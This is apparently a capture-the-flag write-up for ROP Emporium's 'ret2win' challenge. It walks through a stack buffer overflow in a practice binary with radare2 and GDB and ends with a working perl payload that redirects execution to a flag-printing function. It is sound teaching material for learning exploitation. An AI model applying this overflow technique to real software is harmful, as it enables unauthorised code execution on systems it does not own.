ROP Emporium

Learn return-oriented programming through a series of challenges designed to teach ROP techniques in isolation, with minimal reverse-engineering and bug-hunting.

Disassemble main() to find it just prints some stuff and then calls pwnme().

$ r2 ./ret2win -qc "aa ; pdf @ sym.main"

There is a stack buffer overflow is in the pwnme() function. We can see there is a 0x20 byte stack buffer with 0x32 bytes fgetsed into it.

$ r2 ./ret2win -qc "aa ; pdf @ sym.pwnme"
|           ; var char *s @ rbp-0x20
|           0x004007b9      sub rsp, 0x20
|           0x004007bd      lea rax, [s]
...
|           0x004007f6      mov rdx, qword [obj.stdin]
|           0x004007fd      lea rax, [s]
|           0x00400801      mov esi, 0x32
|           0x00400806      mov rdi, rax
|           0x00400809      call sym.imp.fgets

That means our payload needs to be 0x20 bytes to fill the buffer then the next 8 bytes will overflow the stored rbp and the next 8 bytes will overflow the stored rip.

We can confirm this with GDB(1). We see that out "fedcba" is now the new value of the instruction pointer rip.

$ perl -e 'print(("\x00" x 0x28) . "fedcba")' |
  gdb ./ret2win --batch -ex run
ret2win by ROP Emporium
...
Program received signal SIGSEGV, Segmentation fault.
0x0000616263646566 in ?? ()

The stack after overflow looks like this, with 0x61626364 poped into rip and causing a segfault.

+--------------------+--------------------+
| rsp + 0x28         | 0x0000000061626364 | <-- stored rip
| rsp + 0x20         | 0x0000000000000000 | <-- stored rbp
| rsp + 0x18         | 0x0000000000000000 | <-- end of buffer
| rsp + 0x10         | 0x0000000000000000 |
| rsp + 0x08         | 0x0000000000000000 |
| rsp + 0x00         | 0x0000000000000000 | <-- start of buffer
+--------------------+--------------------+

A note on 64 bit addressing

AMD64 processors typically only support 48 bit addresses with the top 16 bits are sign extended. Keep this in mind when choosing fake values to put onto the stack, because trying to use a non-conforming value as a memory address will result in obscure hardware errors which GDB can’t help with.

e.g. here the MMU couldn’t process 0x6162636465666768 and GDB still sees the old (and perfectly fine) value of 0x0000000000400810 in the rip register, which will be confusing if you’re not aware of this particular quirk.

$ perl -e 'print(("\x00" x 0x28) . "hgfedcba")' |
  gdb ./ret2win --batch -ex run
ret2win by ROP Emporium
...
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400810 in pwnme ()

Now that we have control of rip the next step is to figure out what address to put in there and get the application to jmp to.

Just scanning through symbols we see an interesting function with the same name as the challenge.

$ r2 ./ret2win -qc "is"
[Symbols]
Num Paddr      Vaddr      Bind     Type Size Name
...
039 0x00000811 0x00400811  LOCAL   FUNC   32 ret2win
...

It simply spawns a shell and does cat flag.txt which is exactly what we want.

$ r2 ./ret2win -qc "aa ; pdf @ sym.ret2win"
/ (fcn) sym.ret2win 32
|   sym.ret2win ();
|           0x00400811      push rbp
|           0x00400812      mov rbp, rsp
|           0x00400815      mov edi, str.Thank_you__Here_s_your_flag:
|           0x0040081a      mov eax, 0
|           0x0040081f      call sym.imp.printf
|           0x00400824      mov edi, str.bin_cat_flag.txt ; "/bin/cat flag.txt"
|           0x00400829      call sym.imp.system

So replacing our test value (0x0000616263646566) with the address of ret2win() (0x00400811) will cause the application to jump to ret2win() and print out the flag. Since AMD64 is a little endian platform though, we need to write the bytes backwards, so 0x00400811 becomes "\x11\x08\x40".

$ perl -e 'print(("\x00" x 0x28) . "\x11\x08\x40")' | ./ret2win
ret2win by ROP Emporium
...
> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}